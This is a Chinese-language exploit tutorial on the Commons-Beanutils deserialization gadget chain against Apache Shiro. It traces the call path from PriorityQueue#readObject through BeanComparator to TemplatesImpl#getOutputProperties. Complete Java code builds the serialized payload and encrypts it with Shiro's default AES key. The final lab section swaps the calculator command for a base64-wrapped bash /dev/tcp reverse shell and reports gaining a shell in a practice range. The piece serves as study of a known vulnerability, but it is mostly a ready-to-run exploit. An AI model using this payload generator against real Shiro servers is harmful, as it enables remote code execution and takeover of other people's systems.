Shiro无依赖链—Commons Beanutils
前言
前面学习了CC6在Shiro当中的应用,但是很多场景没有使用CC依赖,那么还有其他利用方式吗?那就是Commons Beanutils
!
Commons Beanutils是什么?
Commons-Beanutils是Apache提供的一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。
JavaBean是什么?
在Java中,有很多class
的定义都符合这样的规范
- 若干
private
实例字段; - 通过
public
方法来读写实例字段。 - 命名要符合规范,符合骆驼式命名法,比如说属性名为
abc
,那么get
方法为public Type getAbc()
,set
方法为public void setAbc(Type value)
例如:
public class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age = age;
}
}
如果读写方法符合这种命名规范,那么这种class
被称为JavaBean
。
写一个简单的demo来调用一下getName()
import org.apache.commons.beanutils.PropertyUtils;
public class BeanTest {
public static void main(String[] args) throws Exception{
Person person = new Person("Le1a",20);
System.out.println(person.getName());
}
}
但是这样写有一个弊端,因为每一个都要用这种函数调用的方式,在Commons-Beanutils
中提供了一种静态方法PropertyUtils#getProperty
,可以让使用者直接调用到任意JavaBean
对象中的getter
方法,这样就能相对动态的去执行。
这个方法,直接传入一个对象,然后获取这个对象的一个属性值,就会自动的去调用getName()方法。

这也就提供了动态执行代码的点,可能会产生安全问题。
利用链分析
我们下个断点调试一下,走到PropertyUtils#getProperty()
,这里它又调用了另一个对象的getProperty()
,我们继续跟进

跟进到了PropertyUtilsBean#getProperty()
,然后调用了这个getNestedProperty()

然后跟进到下面有一个判断,这里都不满足,所以最后进入这个getSimpleProperty

一直跟进到这里,来看一下我们传的是age,返回的就是set方法和get方法的名字,还返回了Bean的属性值的名字。

继续往下走,这里获取到一个Method
,也就是那个getAge()方法,我们继续跟进

然后下面出现了一个反射调用,对我们传递的对象,来调用一个符合JavaBean
格式的get方法,然后就走完了。

在CC3这条链中,TemplatesImpl
中我们提到了getOutputProperties()
方法

这个方法调用了newTransformer()
,他这个格式是符合JavaBean的格式,如果我们对一个TemplatesImpl
对象调用这个getOutputProperties()
方法,实际上也可以进行代码执行。这就找到了一个在CB下面的代码执行点,当o1是一个TemplatesImpl
对 象,而property
的值为outputProperties
时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()
方法,触发代码执行
package ShiroCB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class BeanTest {
public static void main(String[] args) throws Exception{
Person person = new Person("Le1a",20);
//System.out.println(PropertyUtils.getProperty(person,"age"));
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
PropertyUtils.getProperty(templates,"outputProperties");
}
}
这段代码就能成功执行Hacker
字节码文件里的代码了,前面直接照搬的CC3里面的,这里就成功调用了TemplatesImpl#getOutputProperties()
。如果PropertyUtils#getProperty
的属性值可控的话,就可以任意执行代码了
接下来就按照构造反序列化链的思路,去找getProperty()
的上层,找到了这里的BeanComparator#compare()

这个compare()
调用了这个getProperty()
,这里是可控的。这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不 为空,则用PropertyUtils.getProperty
分别取这两个对象的 this.property 属性,比较属性的值。
来看一下谁调用了这里的compare()呢?

发现PriorityQueue#siftDownUsingComparator
调用了这个BeanComparator#compare()

继续往上查找哪里调用了这个PriorityQueue#siftDownUsingComparator()

然后找到了PriorityQueue#siftDown()
调用了PriorityQueue#siftDownUsingComparator()
,然后heapify()
又调用了siftDown()

最后PriorityQueue#readObject()
又调用了heapify()
,并且对queue
数组进行循环反序列化

完整的调用链:

构造利用链
首先还是创建TemplateImpl:
byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
byte[][] codes = {code};//恶意类
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后实例化BeanComparator
,BeanComparator 构造函数为空时,默认的 property 就是空:

final BeanComparator comparator = new BeanComparator();
然后用这个comparator实例化优先队列 PriorityQueue :
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
可见,我们添加了两个无害的可以比较的对象进队列中。 如果this.property
为空,则直接比较这两个对象。
这里实际上就是对两个1
进行排序,防止初始话的时候出错。后面我们再用反射将 property 的值设置成恶意的outputProperties
,用于触发TemplatesImpl#getOutputProperties()
将队列里的两个1中其中一个替换成恶意的 TemplateImpl 对象,另一个替换为随意的一个对象就行(当然也可以都替换为恶意的 TemplateImpl 对象),因为反序列化的时候,对queue
数组进行了循环序列化。
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj,obj});
初步CommonsBeanutils1利用链
package ShiroCB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class BeanTest {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
byte[][] codes = {code};//恶意类
//CC3
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//CB
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
使用CB链攻击Shiro
前面学习Shiro550的时候,用到的是TemplatesImpl
类改造的CC6来攻击的,但是这种情况必须依靠Commons-Collections
依赖,实际场景下,目标可能并没有安装Commons-Collections
,但是Shiro是需要依赖Commons-Beanutils
。这个时候shiro反序列化漏洞就可以使用CommonsBeanutils
链来攻击。
尝试直接用刚刚的POC来生成payload
去打Shiro

发现并没有弹出计算器,这是为什么呢?
原因是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
我们看看哪里用到了ComparableComparator
类


BeanComparator
类中的有参构造器中调用了这个ComparableComparator
类。看到这里就蒙圈了,我们利用链调用的是无参构造啊!!
final BeanComparator comparator = new BeanComparator();
为什么这里会调用到有参构造去了呢?原因是因为无参构造方法里面写的this((String)null)
,那么相当于就会调用下面那个带参构造方法只不过property
为空,当没有显式传入Comparator
的情况下,则默认使用ComparableComparator
既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的功能,我们找到一个CaseInsensitiveComparator
,这个CaseInsensitiveComparator
类是java.lang.String
类下的一个内部私有类,其实现了Comparator
和Serializable
,且位于Java的核心代码中,兼容性强,是一个完美替代品!
public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
/** Replaces the de-serialized object. */
private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}
我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
修改之后生成payload的时候报错了,逆天?!!!

原因是我们现在使用的是String.CASE_INSENSITIVE_ORDER
类,是一个String类型,而我们下面add()传入的是整型1
,所以改为字符类型的"1"
就解决了。
最后攻击Shiro的利用链
package ShiroCB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class CBAttck {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
byte[][] codes = {code};//恶意类
//CC3
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//CB
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

最后成功弹出计算器。
靶场试验
vulfocus靶场开一个Shiro环境,然后把之前的恶意字节类中的calc.exe
命令改写为
bash -c {echo,Base64编码}|{base64,-d}|{bash,-i}//Base64编码为bash -i >& /dev/tcp/IP/端口 0>&1 的base64编码
然后重新生成恶意的字节码文件,然后重新生成payload



成功反弹Shell!